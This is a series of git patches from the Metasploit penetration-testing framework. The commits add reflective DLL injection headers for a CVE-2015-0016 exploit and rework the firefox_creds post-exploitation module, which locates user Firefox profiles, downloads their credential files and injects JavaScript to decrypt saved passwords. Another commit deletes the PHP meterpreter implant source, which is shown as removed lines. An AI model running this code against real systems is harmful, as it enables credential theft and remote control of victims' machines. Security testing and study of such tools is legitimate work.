hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..8d7fda1106 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/rdi.sln b/external/source/exploits/cve-2015-0016/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/cve-2015-0016/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal From b14889ad5c3df0d4862e212a777ea7e10a80fe03 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 26 Aug 2015 17:09:33 -0500 Subject: [PATCH 0380/2172] Small typo fix --- lib/msf/core/post/windows/powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 098a32a859..cea0bd1684 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -152,7 +152,7 @@ module Powershell scriptbybasefull = ps_script.rig.generate(4) if (encoded_expression.size > 14999) - print_error("Script size: #{encoded_expression.size} This script requres a stager") + print_error("Script size: #{encoded_expression.size} This script requires a stager") arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good("Loading " + arr.count.to_s + " chunks into the stager.") vararray = [] From eb43241425062dbf093c2c68da06ae07a730062a Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 15 Aug 2015 11:37:37 +0100 Subject: [PATCH 0381/2172] Firefox_creds more stable/bug fixs (Linux/OSX) --- modules/post/multi/gather/firefox_creds.rb | 119 ++++++++++----------- 1 file changed, 58 insertions(+), 61 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 5903db4316..b5b2d1afc7 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -176,9 +176,9 @@ class Metasploit3 < Msf::Post decrypt_download_creds else # Non DECRYPT paths = [] - @platform =~ /unix|osx/ ? (paths = enum_users_unix) : (paths = enum_users_win) + paths = enum_users - if paths.empty? + if paths.nil? or paths.empty? print_error("No users found with a Firefox directory") return end @@ -228,64 +228,55 @@ class Metasploit3 < Msf::Post end - def enum_users_unix + def enum_users paths = [] id = whoami + if id.nil? or id.empty? print_error("Session #{datastore['SESSION']} is not responding") return end - @platform == :osx ? (home = "/Users/") : (home = "/home/") + if @platform == :windows + vprint_status("Searching every possible account on the target system") + grab_user_profiles().each do |user| + next if user['AppData'].nil? + dir = check_firefox_win(user['AppData']) + paths << dir if dir + end + else # unix, bsd, linux, osx + @platform == :osx ? (home = "/Users/") : (home = "/home/") - if got_root? - vprint_status("Detected ROOT privileges. Searching every account on the system.") - userdirs = session.shell_command("ls #{home} 2>/dev/null").gsub(/\s/, "\n") - userdirs << "/root\n" - else - vprint_status("Checking #{id}'s Firefox account") - userdirs = session.shell_command("ls #{home + id} 2>/dev/null").gsub(/\s/, "\n") - end + if got_root + vprint_status("Detected ROOT privileges. Searching every account on the target system.") + userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n") + userdirs << "/root\n" + else + vprint_status("Checking #{id}'s Firefox account") + userdirs = "#{home + id}\n" + end - userdirs.each_line do |dir| - dir.chomp! - next if dir == "." || dir == ".." || dir =~ /No such file/i + userdirs.each_line do |dir| + dir.chomp! + next if dir == "." or dir == ".." or dir =~ /No such file/i - dir =~ /^\/root$/ ? (basepath = "/#{id}") : (basepath = "#{home + dir}") - @platform == :osx ? (basepath = "#{basepath}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{basepath}/.mozilla/firefox/") + @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/") - print_status("Checking for Firefox profile in: #{basepath}") - checkpath = session.shell_command("ls #{basepath} 2>/dev/null").gsub(/\s/, "\n") - checkpath.each_line do |ffpath| - ffpath.chomp! - if ffpath =~ /\.default/ - vprint_good("Found profile: #{basepath + ffpath}") - paths << "#{basepath + ffpath}" + print_status("Checking for Firefox profile in: #{basepath}") + checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n") + + checkpath.each_line do |ffpath| + ffpath.chomp! + if ffpath =~ /\.default/ + vprint_good("Found profile: #{basepath + ffpath}") + paths << "#{basepath + ffpath}" + end end end end - return paths - end - - - def enum_users_win - paths = [] - id = whoami - if id.nil? or id.empty? - print_error("Session #{datastore['SESSION']} is not responding") - return - end - - vprint_status("Searching every possible account on the system") - grab_user_profiles().each do |user| - next if user['AppData'].nil? - dir = check_firefox_win(user['AppData']) - paths << dir if dir - end return paths end - def check_firefox_win(path) paths = [] ffpath = [] @@ -310,7 +301,7 @@ class Metasploit3 < Msf::Post end #print_status("Locating Firefox profiles") - path += "Firefox\\Profiles\\" + path << "Firefox\\Profiles\\" # We should only have profiles in the Profiles directory store them all begin @@ -341,7 +332,7 @@ class Metasploit3 < Msf::Post profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty? - session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = session.shell_command("ls #{path} 2>/dev/null").split()) + session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split()) files.each do |file| file.chomp! @@ -349,11 +340,11 @@ class Metasploit3 < Msf::Post ext = file.split('.')[2] ext == "txt" ? (mime = "plain") : (mime = "binary") vprint_status("Downloading: #{file}") - if session.type == "meterpreter" + if @platform == :windows p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}") session.fs.file.download_file(p, path + "\\" + file) else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) - loot = session.shell_command("cat #{path + file}") + loot = cmd_exec("cat #{path}//#{file}") p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") end print_good("Downloaded #{file}: #{p.to_s}") @@ -372,7 +363,7 @@ class Metasploit3 < Msf::Post case @platform when /win/ - if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i + if !got_root and session.sys.config.sysinfo['OS'] !~ /xp/i print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work") end @@ -384,8 +375,8 @@ class Metasploit3 < Msf::Post check_paths << drive + '\\Program Files\\Mozilla Firefox\\' check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' when /unix/ - if cmd_exec("whoami").chomp !~ /root/ - print_error("You need root privileges on this platform for DECRYPT option") + if !got_root + print_error("You need ROOT privileges on this platform for DECRYPT option") return false end # Unix matches linux|unix|bsd but BSD is not supported @@ -436,19 +427,25 @@ class Metasploit3 < Msf::Post 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used) ] - # Extract files - arya = files.map do |file| + # Extract files from zip + arya = files.map do |omnija_file| fdata = {} - fdata['content'] = zip.read(file) unless file =~ /jsloader/ - fdata['outs'] = zip.get_output_stream(file) + begin + fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/ + fdata['outs'] = zip.get_output_stream(omnija_file) + rescue + print_error("Was not able to find '#{omnija_file}' in the compressed .JA file") + print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version") + return false + end fdata end - # Read contents + # Read contents of array (arya) stor_js, pwd_xul, dlog_xul, res_js = arya stor_js['outs_res'] = res_js['outs'] - # Payload (close after starting up - allowing evil js to run and nothing else) + # Insert payload (close after starting up - allowing evil js to run and nothing else) wnd_close = "window.close();" onload = "Startup(); SignonsStartup(); #{wnd_close}" @@ -708,18 +705,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); end - def got_root? + def got_root case @platform when :windows - session.sys.config.getuid =~ /SYSTEM/ ? (true) : (false) + session.sys.config.getuid =~ /SYSTEM/ ? true : false else # unix, bsd, linux, osx - ret = whoami - ret =~ /root/ ? (true) : (false) + id_output = cmd_exec("id").chomp + id_output.include?("uid=0(") ? true : false end end def whoami - @platform == :windows ? (session.sys.config.getenv('USERNAME')) : (session.shell_command("whoami").chomp) + @platform == :windows ? (session.sys.config.getenv('USERNAME')) : (cmd_exec("whoami").chomp) end end From 1b4f4fd225918d1f53f007887a70f2b0bea2f0da Mon Sep 17 00:00:00 2001 From: Muhamad Fadzil Ramli <mind1355@gmail.com> Date: Thu, 27 Aug 2015 19:47:37 +0800 Subject: [PATCH 0382/2172] remove url reference --- modules/exploits/windows/ftp/kmftp_utility_cwd.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 1093e16398..3efb972a67 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'EBD', '37908' ], - [ 'URL', 'https://www.exploit-db.com/exploits/37908/' ] + [ 'EBD', '37908' ] ], 'Privileged' => false, 'Payload' => From 593f5015719e3e2422334104e85f6385dc12afc1 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 27 Aug 2015 11:23:34 -0500 Subject: [PATCH 0383/2172] finish move of php / python meterpreters to metasploit-payloads --- Gemfile.lock | 4 +- data/meterpreter/ext_server_stdapi.php | 1116 ------------ data/meterpreter/ext_server_stdapi.py | 1583 ----------------- data/meterpreter/meterpreter.php | 1249 ------------- data/meterpreter/meterpreter.py | 1111 ------------ metasploit-framework.gemspec | 2 +- .../singles/php/meterpreter_reverse_tcp.rb | 5 +- modules/payloads/stages/php/meterpreter.rb | 6 +- modules/payloads/stages/python/meterpreter.rb | 6 +- 9 files changed, 6 insertions(+), 5076 deletions(-) delete mode 100755 data/meterpreter/ext_server_stdapi.php delete mode 100644 data/meterpreter/ext_server_stdapi.py delete mode 100755 data/meterpreter/meterpreter.php delete mode 100644 data/meterpreter/meterpreter.py diff --git a/Gemfile.lock b/Gemfile.lock index 860525f6d4..561cd0b6f8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.9) + metasploit-payloads (= 1.0.10) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.9) + metasploit-payloads (1.0.10) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php deleted file mode 100755 index e3f72ee0d5..0000000000 --- a/data/meterpreter/ext_server_stdapi.php +++ /dev/null @@ -1,1116 +0,0 @@ -#<?php -## -# STDAPI -## - -## -# General -## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); -define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); - -## -# Fs -## -define("TLV_TYPE_DIRECTORY_PATH", TLV_META_TYPE_STRING | 1200); -define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201); -define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202); -define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203); -define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204); -define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206); - -define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220); - -define("TLV_TYPE_SEARCH_RECURSE", TLV_META_TYPE_BOOL | 1230); -define("TLV_TYPE_SEARCH_GLOB", TLV_META_TYPE_STRING | 1231); -define("TLV_TYPE_SEARCH_ROOT", TLV_META_TYPE_STRING | 1232); -define("TLV_TYPE_SEARCH_RESULTS", TLV_META_TYPE_GROUP | 1233); - -## -# Net -## -define("TLV_TYPE_HOST_NAME", TLV_META_TYPE_STRING | 1400); -define("TLV_TYPE_PORT", TLV_META_TYPE_UINT | 1401); - -define("TLV_TYPE_SUBNET", TLV_META_TYPE_RAW | 1420); -define("TLV_TYPE_NETMASK", TLV_META_TYPE_RAW | 1421); -define("TLV_TYPE_GATEWAY", TLV_META_TYPE_RAW | 1422); -define("TLV_TYPE_NETWORK_ROUTE", TLV_META_TYPE_GROUP | 1423); - -define("TLV_TYPE_IP", TLV_META_TYPE_RAW | 1430); -define("TLV_TYPE_MAC_ADDRESS", TLV_META_TYPE_RAW | 1431); -define("TLV_TYPE_MAC_NAME", TLV_META_TYPE_STRING | 1432); -define("TLV_TYPE_NETWORK_INTERFACE", TLV_META_TYPE_GROUP | 1433); - -define("TLV_TYPE_SUBNET_STRING", TLV_META_TYPE_STRING | 1440); -define("TLV_TYPE_NETMASK_STRING", TLV_META_TYPE_STRING | 1441); -define("TLV_TYPE_GATEWAY_STRING", TLV_META_TYPE_STRING | 1442); - -# Socket -define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500); -define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501); -define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502); -define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503); -define("TLV_TYPE_CONNECT_RETRIES", TLV_META_TYPE_UINT | 1504); - -define("TLV_TYPE_SHUTDOWN_HOW", TLV_META_TYPE_UINT | 1530); - -## -# Sys -## -define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0)); -define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1)); -define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); -define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); - -# Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); -define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); -define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); -define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); -define("TLV_TYPE_KEY_NAME", TLV_META_TYPE_STRING | 1003); -define("TLV_TYPE_VALUE_NAME", TLV_META_TYPE_STRING | 1010); -define("TLV_TYPE_VALUE_TYPE", TLV_META_TYPE_UINT | 1011); -define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012); - -# Config -define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040); -define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041); -define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042); -define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043); -define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044); - -# Environment -define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100); -define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101); -define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); - - -define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); - -# Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); -define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); -define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); -define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); -define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); -define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); -define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); -define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); -define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300); -define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301); -define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302); -define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303); -define("TLV_TYPE_PROCESS_FLAGS", TLV_META_TYPE_UINT | 2304); -define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); - -define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); -define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); -define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); -define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); -define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); - -define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); -define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); -define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); -define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); - -define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); -define("TLV_TYPE_REGISTER_SIZE", TLV_META_TYPE_UINT | 2541); -define("TLV_TYPE_REGISTER_VALUE_32", TLV_META_TYPE_UINT | 2542); -define("TLV_TYPE_REGISTER", TLV_META_TYPE_GROUP | 2550); - -## -# Ui -## -define("TLV_TYPE_IDLE_TIME", TLV_META_TYPE_UINT | 3000); -define("TLV_TYPE_KEYS_DUMP", TLV_META_TYPE_STRING | 3001); -define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); - -## -# Event Log -## -define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); -define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); - -define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); -define("TLV_TYPE_EVENT_RECORDOFFSET", TLV_META_TYPE_UINT | 4004); - -define("TLV_TYPE_EVENT_RECORDNUMBER", TLV_META_TYPE_UINT | 4006); -define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT | 4007); -define("TLV_TYPE_EVENT_TIMEWRITTEN", TLV_META_TYPE_UINT | 4008); -define("TLV_TYPE_EVENT_ID", TLV_META_TYPE_UINT | 4009); -define("TLV_TYPE_EVENT_TYPE", TLV_META_TYPE_UINT | 4010); -define("TLV_TYPE_EVENT_CATEGORY", TLV_META_TYPE_UINT | 4011); -define("TLV_TYPE_EVENT_STRING", TLV_META_TYPE_STRING | 4012); -define("TLV_TYPE_EVENT_DATA", TLV_META_TYPE_RAW | 4013); - -## -# Power -## -define("TLV_TYPE_POWER_FLAGS", TLV_META_TYPE_UINT | 4100); -define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101); - -## -# Errors -## - -# Special return value to match up with Windows error codes for network -# errors. -define("ERROR_CONNECTION_ERROR", 10000); - -# Wrap everything in checks for existence of the new functions in case we get -# eval'd twice -my_print("Evaling stdapi"); - -## -# Search Helpers -## - -# Stolen from user comments in http://us2.php.net/manual/en/function.glob.php -# The recursiveness was busted, fixed it by adding the path to the filename -# when checking whether we're looking at a directory. -# Used by stdapi_fs_search -/**#@+ - * Extra GLOB constant for safe_glob() - */ -define('GLOB_NODIR',256); -define('GLOB_PATH',512); -define('GLOB_NODOTS',1024); -define('GLOB_RECURSE',2048); -/**#@-*/ -/** - * A safe empowered glob(). - * - * Function glob() is prohibited on some server (probably in safe mode) - * (Message "Warning: glob() has been disabled for security reasons in - * (script) on line (line)") for security reasons as stated on: - * http://seclists.org/fulldisclosure/2005/Sep/0001.html - * - * safe_glob() intends to replace glob() using readdir() & fnmatch() instead. - * Supported flags: GLOB_MARK, GLOB_NOSORT, GLOB_ONLYDIR - * Additional flags: GLOB_NODIR, GLOB_PATH, GLOB_NODOTS, GLOB_RECURSE - * (not original glob() flags) - * @author BigueNique AT yahoo DOT ca - * @updates - * - 080324 Added support for additional flags: GLOB_NODIR, GLOB_PATH, - * GLOB_NODOTS, GLOB_RECURSE - */ -if (!function_exists('safe_glob')) { -function safe_glob($pattern, $flags=0) { - $split=explode('/',str_replace('\\','/',$pattern)); - $mask=array_pop($split); - $path=implode('/',$split); - if (($dir=opendir($path))!==false) { - $glob=array(); - while (($file=readdir($dir))!==false) { - // Recurse subdirectories (GLOB_RECURSE) - if ( - ( - $flags&GLOB_RECURSE) && is_dir($path."/".$file) - && (!in_array($file,array('.','..')) - # don't follow links to avoid infinite recursion - && (!is_link($path."/".$file)) - ) - ) { - $glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags), - ($flags&GLOB_PATH?'':$file.'/'))); - } - // Match file mask - if (fnmatch($mask,$file)) { - if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") ) - && ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) ) - && ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) ) - $glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':''); - } - } - closedir($dir); - if (!($flags&GLOB_NOSORT)) sort($glob); - return $glob; - } else { - return false; - } -} -} -/** - * A better "fnmatch" alternative for windows that converts a fnmatch - * pattern into a preg one. It should work on PHP >= 4.0.0. - * @author soywiz at php dot net - * @since 17-Jul-2006 10:12 - */ -if (!function_exists('fnmatch')) { -function fnmatch($pattern, $string) { - return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); -} -} - -/** - * Prepends $string to each element of $array - * If $deep is true, will indeed also apply to sub-arrays - * @author BigueNique AT yahoo DOT ca - * @since 080324 - */ -if (!function_exists('array_prepend')) { -function array_prepend($array, $string, $deep=false) { - if(empty($array)||empty($string)) return $array; - foreach($array as $key => $element) - if(is_array($element)) - if($deep) - $array[$key] = array_prepend($element,$string,$deep); - else - trigger_error('array_prepend: array element',E_USER_WARNING); - else - $array[$key] = $string.$element; - return $array; - -} -} - - -## END Search Helpers - -if (!function_exists('cononicalize_path')) { -function cononicalize_path($path) { - $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path); - return $path; -} -} - - -# -# Need to nail down what this should actually do. Ruby's File.expand_path is -# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into -# a path to the current user's homedir. In contrast, Meterpreter has -# traditionally used this to get environment variables from the server. -# -if (!function_exists('stdapi_fs_file_expand_path')) { -register_command('stdapi_fs_file_expand_path'); -function stdapi_fs_file_expand_path($req, &$pkt) { - my_print("doing expand_path"); - 